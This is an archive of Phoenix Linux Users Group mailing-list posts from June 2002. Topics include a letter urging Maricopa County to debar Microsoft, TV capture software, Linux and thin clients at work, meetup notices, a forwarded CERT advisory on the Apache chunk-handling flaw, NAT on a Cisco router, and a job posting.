charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Here is my letter to my councilman, hope it helps or does someone have = one better? did i miss anything? yeah yeah I wrote this on outlook = Express, I'm trying to load Gentoo on my Linux box, and it's a beast to = install. tickticker Councilman Brock, I am writing you in regards to the news that the Maricopa County Council = is debating an Enterprise Agreement with Microsoft. However, I have = read that according to Maricopa County Policies, Microsoft should be = disqualified from any contractual business with the County. I would = like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the = following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes = (penalties pending), clearly falls into the catagory described in part = 3, and several court cases past and pending show a clear lack of = integrity and business honesty as outlined in part 2. I cannot find = that ANY government body would be willing to work with such contractors, = let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that = have broken no laws, Federal or Local, are well supported and used by = many large governments (Germany, Taiwan, et al). As a concerned voter = in Chandler, I must point out that I cannot support criminal behavior = and would hope that my County Council would see fit to do the same and = ONLY consider alternatives as Microsoft is clearly unqualified to meet = County requirements. Thank You, my name and address ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Here is my letter to my councilman, = hope it helps=20 or does someone have one better?  did i miss anything?  yeah = yeah I=20 wrote this on outlook Express, I'm trying to load Gentoo on my Linux = box, and=20 it's a beast to install.
 
tickticker
 
Councilman Brock,
 
I am writing you in regards to the news = that the=20 Maricopa County Council is debating an Enterprise Agreement with=20 Microsoft.  However, I have read that according to Maricopa County=20 Policies, Microsoft should be disqualified from any = contractual=20 business with the County.  I would like to declare my support for=20 Microsoft's disqualification.
 
According to MC1-902 DEBARMENT AND = SUSPENSION OF=20 CONTRACTORS, I read the following:
 
"B. The causes for Debarment or = Suspension shall=20 include, but are not
limited to, the following:
2. Conviction of = any=20 Person or any subsidiary or affiliate of any Person
under any statute = of the=20 Federal government, this State or its political
subdivision or any = other=20 State for:
k. Any other offense indicating a lack of business = integrity or=20 business
honesty which affects responsibility as a Contractor.
3.=20 Conviction or civil judgment finding a violation by any Person or=20 any
subsidiary or affiliate of any Person under State or Federal=20 Antitrust
Statutes."
 
Microsoft, having been convicted of = Federal=20 Antitrust Statutes (penalties pending), clearly falls into the catagory=20 described in part 3, and several court cases past and pending show a = clear lack=20 of integrity and business honesty as outlined in part 2.  I=20 cannot find that ANY government body would be willing to work with = such=20 contractors, let alone having rules against it and clearly ignoring = those=20 rules.
 
There are many alternatives to = Microsofts=20 products.  Alternatives that have broken no laws, Federal or Local, = are=20 well supported and used by many large governments (Germany, Taiwan, et=20 al).  As a concerned voter in Chandler, I must point out that I = cannot=20 support criminal behavior and would hope that my County Council would = see fit to=20 do the same and ONLY consider alternatives as Microsoft is clearly = unqualified=20 to meet County requirements.
 
Thank You,
 
my name and address
------=_NextPart_000_0007_01C215F7.92595A70-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:14:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Mon, 17 Jun 2002 15:14:02 -0700 Subject: InstallFest In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have a VisionTek Xtasy Everything Personal Cinema 5564: Basically a GeForce 2 MX400-based dual-head video card with a A/V Breakout box that has a TV Tuner (as well as s-video, composite, and stereo audio) based on a (supposedly, I haven't done any research on this) industry standard Phillips chip. It works, and works well, but I'd be interested in seeing if Linux improves my maximum capture resolution. Does anyone know of a tv viewing/capture program out there? "I have never let my schooling interfere with my education." -- Mark Twain matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jonathan Claxton Sent: Monday, June 17, 2002 3:20 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: InstallFest On Mon, 17 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I also have a machine with a TV Tuner that I am bringing to the > InstallFest, it's currently running Win2k. I'd be interested to > know what software you use to view the Capture from your TV card? > Are > there any alternatives? What options does it support (recording, > scheduling, etc...) > Welll... I only use my tv card just to watch the programs. I use a simple TV viewer program called TVSet. I also have a another program that displays the Closed Caption text as it comes out from the channel I'm watching in a terminal window. Doing all this on my Black Thunder box running Gentoo dist system and the 2.4.18 kernel that I just installed this past weekend. Just wondering but what tv card you got? Me I got a Hauppauge TV card "WinTV" I belive it's called. jzc ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQ5fKo4p6zlv2o83EQIevACg53t9Bsdq7BRUw8BaVx7PysEeBJUAnies 3v18wFZwB31ZLq5Nizl/jpC3 =JQds -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 18:38:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 14:38:36 -0400 Subject: PLUG Quick References Message-ID: This is a multi-part message in MIME format. ----NEXT--540D37B0-F5668941-EF87DE65 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable here is a Great Cheat sheet I found a few months back. Original Message: ----------------- From: Jim farli@unitywave.com Date: Mon, 17 Jun 2002 10:37:54 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: PLUG Quick References -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. I have even asked Vic to put a link to PlugPresents on the PLUG website so that more people can find it. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ4ecisk3ywszI1FEQL5kgCgweBSoA1LBzRfUUzF4VP1UDCwtIAAnRGt Lx9+xs+2QBvXmupKVJDYvJCq =3D9SyJ -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to = write mail. 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----NEXT--540D37B0-F5668941-EF87DE65-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:38:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Mon, 17 Jun 2002 15:38:34 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:09:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 20:09:23 -0700 Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> References: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: <20020618031136.7B2721BD89@autumn.unitywave.com> You might want to look at Galeon - small and fast and it does allow not only multiple tabs in its window allowing you to view multiple sites, but it will also allow you to open additional windows with the same multiple tab capabilityes. You can move an instance of Galeon to another desktop if you wish. On Monday 17 June 2002 02:42 pm, you wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner > in the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. > I can use virtual desktops to segregate the task groupings, which has > worked out well, but opera presents a problem as all the opera windows are > opening in the same window. If I used Mozilla, could I open a Mozilla > session in a virtual window and then keeping that session there, open 1 or > more sessions in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports > of using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:59:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 17 Jun 2002 20:59:05 -0700 Subject: slashdot meets In-Reply-To: <002101c21670$6d2c1930$0301010a@tickticker.com> References: <002101c21670$6d2c1930$0301010a@tickticker.com> Message-ID: <200206172059.05384.alandd@mindspring.com> Well, I signed up but I already go to too many Linux and computer meetings, if you ask my wife. Seems like this is somewhat redundant to LUGs. Whatever. Let's see if something comes of it. Alan On Monday 17 June 2002 07:32 pm, tickticker wrote: > check out slashdot for an article on slashdot meets or check out the site > at http://slashdot.meetup.com . I'm signed up as tickticker in chandler. > It was JUST announced. > > anthony From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:09:25 -0700 (MST) Subject: My letter In-Reply-To: Message-ID: Changed "County Council" to read "County Board of Supervisors". Also, put your email address and telephone number under your address and sig. Real people with telephones and addresses in the district carry more weight. If you're not in the district, why should your message be read? Everybody, please please proof this, reword if needed. When you send this message to any of the County Board of Supervisors, it will first be screened by their staff. This email may, or may not be read by your Supervisor. Variation on the theme may help the message get noticed. Certainly a few hundred will get attention. ------------------------------------------------------------------------- Councilman Brock, I am writing you in regards to the news that the Maricopa County Board of Supervisors is debating an Enterprise Agreement with Microsoft. However, I have read that according to Maricopa County Policies, Microsoft should be disqualified from any contractual business with the County. I would like to declare my support for Microsoft's disqualification. According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the following: "B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes." Microsoft, having been convicted of Federal Antitrust Statutes (penalties pending), clearly falls into the catagory described in part 3, and several court cases past and pending show a clear lack of integrity and business honesty as outlined in part 2. I cannot find that ANY government body would be willing to work with such contractors, let alone having rules against it and clearly ignoring those rules. There are many alternatives to Microsofts products. Alternatives that have broken no laws, Federal or Local, are well supported and used by many large governments (Germany, Taiwan, et al). As a concerned voter in Chandler, I must point out that I cannot support criminal behavior and would hope that my County Board of Supervisors would see fit to do the same and ONLY consider alternatives as Microsoft is clearly unqualified to meet County requirements. Thank You, my name and address From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:09:43 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: Hi Charlie, It's called the K12LTSP and their website is: http://k12ltsp.org They focus the distro (based on RH 7.3) towards schools by adding additional software that might be useful in a K12 environment, but I found it to be perfectly suited for my work environment as well. Let me know if you have any questions as you're setting up the server and I'd be glad to help. I'll also be giving a demonstration of a K12LTSP server at the InstallFest, if you'll be attending. Good luck, and keep us updated on your progress. ~M On Mon, 17 Jun 2002, charlie bullen wrote: > Several of my collegues have been forced to go from WIN98 to XP and they all > hate it. I've generated some interest with the multiple virtual desktops on > my Suse box. > > I have the next task in mind, which is to implement the thin client solution > that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old > computers sitting around ranging from p133s to 566 celerons that could be put > to good use. > > What was the web site for the distro that is being used in Oregon at schools > to do the thin client thing. > > Charlie > > On Monday 17 June 2002 15:21, you wrote: > > Sweet! Keep it up! Your next task, should you choose to accept it, is to > > convert your coworker's desktops to Linux. I'll expect a monthly report > > on your progress. ;-) > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 21:14:29 -0700 (PDT) Subject: K12LTSP was: Linux at work Message-ID: I should also mention that I'll have 8 (or more) K12LTSP CD sets to give away at the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:03:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 21:03:59 -0700 (MST) Subject: Stammtisch tomorrow Message-ID: moin, moin, just a reminder that the GNU/Linux Stammtisch is tomorrow night at Bandersnatch. Bandersnatch, like the rest of Tempe, now features no indoor smoking. This would be a good opportunity for those doing stuff for the InstallFest to meet our very own Big Man on Campus, aka Bill, to make sure we're all set for Sat. ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:21:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Mon, 17 Jun 2002 21:21:31 -0700 Subject: Fw: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability Message-ID: <01b001c2167f$9f9d77b0$0401a8c0@minkland.com> Probably of interest to most on this list... Adrian ----- Original Message ----- From: "CERT Advisory" To: Sent: Monday, June 17, 2002 7:02 PM Subject: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > > -----BEGIN PGP SIGNED MESSAGE----- > > CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability > > Original release date: June 17, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > * Web servers based on Apache code versions 1.3 through 1.3.24 > * Web servers based on Apache code versions 2.0 through 2.0.36 > > Overview > > There is a remotely exploitable vulnerability in the handling of large > chunks of data in web servers that are based on Apache source code. > This vulnerability is present by default in configurations of Apache > web servers versions 1.3 through 1.3.24 and versions 2.0 through > 2.0.36. The impact of this vulnerability is dependent upon the > software version and the hardware platform the server is running on. > > I. Description > > Apache is a popular web server that includes support for chunk-encoded > data according to the HTTP 1.1 standard as described in RFC2616. There > is a vulnerability in the handling of certain chunk-encoded HTTP > requests that may allow remote attackers to execute arbitrary code. > > The Apache Software Foundation has published an advisory describing > the details of this vulnerability. This advisory is available on their > web site at > > http://httpd.apache.org/info/security_bulletin_20020617.txt > > II. Impact > > For Apache versions 1.3 through 1.3.24 inclusive, this vulnerability > may allow the execution of arbitrary code by remote attackers. Several > sources have reported that this vulnerability can be used by intruders > to execute arbitrary code on Windows platforms. Additionally, the > Apache Software Foundation has reported that a similar attack may > allow the execution of arbitrary code on 64-bit UNIX systems. > > For Apache versions 2.0 through 2.0.36 inclusive, the condition > causing the vulnerability is correctly detected and causes the child > process to exit. Depending on a variety of factors, including the > threading model supported by the vulnerable system, this may lead to a > denial-of-service attack against the Apache web server. > > III. Solution > > Apply a patch from your vendor > > Apply a patch from your vendor to correct this vulnerability. The > CERT/CC has been informed by the Apache Software Foundation that the > patch provided in the ISS advisory on this topic does not completely > correct this vulnerability. More information about vendor-specific > patches can be found in the vendor section of this document. Because > the publication of this advisory was unexpectedly accelerated, > statements from all of the affected vendors were not available at > publication time. As additional information from vendors becomes > available, this document will be updated. > > Upgrade to the latest version > > The Apache Software Foundation has released two new versions of Apache > that correct this vulnerability. System administrators can prevent the > vulnerability from being exploited by upgrading to Apache version > 1.3.25 or 2.0.39. The new versions of Apache will be available from > their web site at > > http://httpd.apache.org/ > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. As vendors report new information to the CERT/CC, we will > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Apache Software Foundation > > New versions of the Apache software are available from: > > http://httpd.apache.org/ > > Conectiva Linux > > The Apache webserver shipped with Conectiva Linux is vulnerable to > this problem. New packages fixing this problem will be announced to > our mailing list after an official fix becomes available. > > Cray, Inc. > > Cray, Inc. does not distribute Apache with any of its operating > systems. > > IBM Corporation > > IBM makes the Apache Server availble for AIX customers as a software > package under the AIX-Linux Affinity initiative. This package is > included on the AIX Toolbox for Linux Applications CD, and can be > downloaded via the IBM Linux Affinity website. The currently available > version of Apache Server is susceptible to the vulnerability described > here. We will update our Apache Server offering shortly to version > 1.3.23, including the patch for this vulnerability; this update will > be made available for downloading by accessing this URL: > > http://www-1.ibm.com/servers/aix/products/aixos/linux/download. > html > > and following the instructions presented there. > > Please note that Apache Server, and all Linux Affinity software, is > offered on an "as-is" basis. IBM does not own the source code for this > software, nor has it developed and fully tested this code. IBM does > not support these software packages. > > Lotus > > We have verified that the Lotus Domino web server is not vulnerable to > this type of problem. Also, we do not ship Apache code with any Lotus > products. > > Microsoft Corporation > > Microsoft does not ship the Apache web server. > > Network Appliance > > NetApp systems are not vulnerable to this problem. > > RedHat Inc. > > Red Hat distributes Apache 1.3 versions in all Red Hat Linux > distributions, and as part of Stronghold. However we do not distribute > Apache for Windows. We are currently investigating the issue and will > work on producing errata packages when an official fix for the problem > is made available. When these updates are complete they will be > available from the URL below. At the same time users of the Red Hat > Network will be able to update their systems using the 'up2date' tool. > > http://rhn.redhat.com/errata/RHSA-2002-103.html > > Unisphere Networks > > The Unisphere Networks SDX-300 Service Deployment System (aka. SSC) > uses Apache 1.3.24. We are releasing Version 3.0 using Apache 1.3.25 > soon, and will be issuing a patch release for SSC Version 2.0.3 in the > very near future. > _________________________________________________________________ > > The CERT/CC thanks Mark Litchfield for reporting this vulnerability to > the Apache Software Foundation, and Mark Cox for reporting this > vulnerability to the CERT/CC. > _________________________________________________________________ > > Author: Cory F. Cohen > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-17.html > ______________________________________________________________________ > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > Revision History > June 17, 2002: Initial release > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQCVAwUBPQ6RhKCVPMXQI2HJAQHQ7AQAs7nkN3DoS3utJlLUSOrT30PD5FDjSHmu > F3jrO6goHJVpyL5GuliDgrdP1rqZOLr19vbExKo+YMOAGo1R9FQfn6URQMiOsGG7 > KeZGGk/fZBf3n8wrA3fu8CXAW5pTi0lu3kGcLYyBU8cqEEkunEFx/nQPsANcu+fR > FnqtSf7LhQI= > =mZEs > -----END PGP SIGNATURE----- > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:41:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:41:21 -0700 (MST) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: I've a collection of links, some to the various open source school projects: http://www.technicaljanitors.com/main/who_is_using_linux.php - tom e. -------------------------------------------- On Mon, 17 Jun 2002, charlie bullen wrote: Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 22:07:22 -0700 (MST) Subject: Maricopa County purchasing policy, based on A.R.S.? Message-ID: Hmm, anybody send a note to the AZ State's attorney general on this? The purchasing policy I remember (dimly remember) from Arizona State University was based on the Arizona Revised Statues. I would hazard a guess that the Maricopa County policy excerpts circulating this list are also based on the A.R.S. Policy can be changed without too much fuss, but policy based on the A.R.S. can't change much without becoming illegal. Considering that several States Attorney General's are still in court, I wonder if any have looked into their own State's purchasing policy and law. - t From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 17 Jun 2002 22:08:50 -0700 Subject: My letter In-Reply-To: References: Message-ID: <200206172208.51026.lists@ybnormal.org> With a little re-wording, I sent it to my school district governing board. (Deer Valley) They mostly come under county rules. If anyone else is in the DV district, here are the email addresses for the board: Joan Bennett jbennett@do.dvusd.org Dr Susan Burke board@do.dvusd.org David Cantelme arizonalawinstitute@yahoo.com Ted Carpenter tcarpenter@do.dvusd.org (He is also a State Rep) Richard Eng reng@do.dvusd.org I'm not sure how much concern they have for technology. Earlier this year they let all their domains expire for about four months. Luck for them Network $olution$ didn't release them. Of course the renewed them at the N$ price of $29 each when they could have used Scottsdale based Go-Daddy for $8.95 each. On Monday 17 June 2002 09:09 pm, Tom Emerson wrote: > Changed "County Council" to read "County Board of Supervisors". Also, put > your email address and telephone number under your address and sig. Real > people with telephones and addresses in the district carry more weight. > If you're not in the district, why should your message be read? > > Everybody, please please proof this, reword if needed. When you send this > message to any of the County Board of Supervisors, it will first be > screened by their staff. This email may, or may not be read by your > Supervisor. > > Variation on the theme may help the message get noticed. Certainly a few > hundred will get attention. > > ------------------------------------------------------------------------- > > > Councilman Brock, > > I am writing you in regards to the news that the Maricopa County Board of > Supervisors is debating an Enterprise Agreement with Microsoft. However, > I have read that according to Maricopa County Policies, Microsoft should > be disqualified from any contractual business with the County. I would like > to declare my support for Microsoft's disqualification. > > According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the > following: > > "B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes." > > Microsoft, having been convicted of Federal Antitrust Statutes (penalties > pending), clearly falls into the catagory described in part 3, and several > court cases past and pending show a clear lack of integrity and business > honesty as outlined in part 2. I cannot find that ANY government body > would be willing to work with such contractors, let alone having rules > against it and clearly ignoring those rules. > > There are many alternatives to Microsofts products. Alternatives that > have broken no laws, Federal or Local, are well supported and used by many > large governments (Germany, Taiwan, et al). As a concerned voter in > Chandler, I must point out that I cannot support criminal behavior and > would hope that my County Board of Supervisors would see fit to do the > same and ONLY consider alternatives as Microsoft is clearly unqualified to > meet County requirements. > > Thank You, > > my name and address > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Pruett) Date: 17 Jun 2002 22:32:26 -0700 Subject: How to upgrade Cisco 675 with linux?-update In-Reply-To: <20020513225128.A1588@texel.localdomain> References: <3CDC131C.3030406@milagrosoft.com> <3CE0556C.3090709@milagrosoft.com> <20020513225128.A1588@texel.localdomain> Message-ID: <1024378348.1643.459.camel@entelin> Well due to the nature of how this sort of NAT works your not going to get past the 678 from the outside unless there is a forwarding rule of some sort. ie: if you forward port 22 ssh the only thing that will hit your linux firewall is everything comming in on 22. This is because its working by tracking the orig of outbound connection and then explicitly allowing the assosiated inbound traffic. Except with 22 which is working in the oposite fassion. This is why you are not getting and suspicious port access's on your linux firewall. Just make shure your 678 is secure. :) On Mon, 2002-05-13 at 22:51, Michael Wittman wrote: > On Mon, May 13, 2002 at 05:08:12PM -0700, Eric Richardson wrote: > > Is anybody using the filtering, NAT, DHCP with cisco and what features > > for the Linux firewall. Maybe this is better for another thread. > > I'm using NAT on my 678. The default NAT settings seem to drop > incoming TCP connection packets, so I haven't even bothered to use > filtering. I assume UDP is dropped as well, based on my (Linux) > firewall logs. I've had to explicitly map some ports on the router to > ports on my Linux box so I could use services like ssh. > > When I was using dialup, I probably had 30 suspicious port access > attempts logged per month on my Linux firewall. With the 678, using > the same Linux firewall rules, I don't think I've seen a single one. > > -Mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 06:52:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 17 Jun 2002 23:52:50 -0700 Subject: Fwd: LINX JOBS Message-ID: <200206172352.50279@granroth.org> Got a call from this guy. This sounds like the real deal. You can probably guess what "company" this is by the description if you keep up with the corporate support for Linux news. If you are willing to relocate, it sounds like a kick-ass job. ---------- Forwarded Message ---------- Subject: LINX JOBS Date: Monday 17 June 2002 05:21 pm From: "Dennis Reilly" To: "Dennis Reilly" Hi - This is blinded for confidentiality. I'm networking to fill 2 positions with a scientific client that is going with a massively clustered LINUX cluster that will deliver over 8 teraflps. This is a coding position. enhance functionality, develop or know where to find tools. Would necessarily entail cultivating ties to/with Open-Source community. Would pay 80K in low cost of living WA state area. If you are interested or know another who would be, feel free to contact me or pass this on. US Citizenship and college degree is mandatory because this is a Fed involved organization. Should be a dream job for the discriminating LINUX nerd. Thanks, Dennis Reilly - TRIAD Sr. Account Manager 425-454-0282 or 800-514-9155 * Please pardon email errors e.g. capitalization, spelling, etc., as, due to my fractured right wrist, I'm reduced to pecking away, mainly, with my less obedient left =) ------------------------------------------------------- -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 14:23:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Tue, 18 Jun 2002 07:23:19 -0700 Subject: Emacs on RH 7.3 References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> Message-ID: <15631.16983.877210.720935@magnitude.righthandgraphics.com> \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having 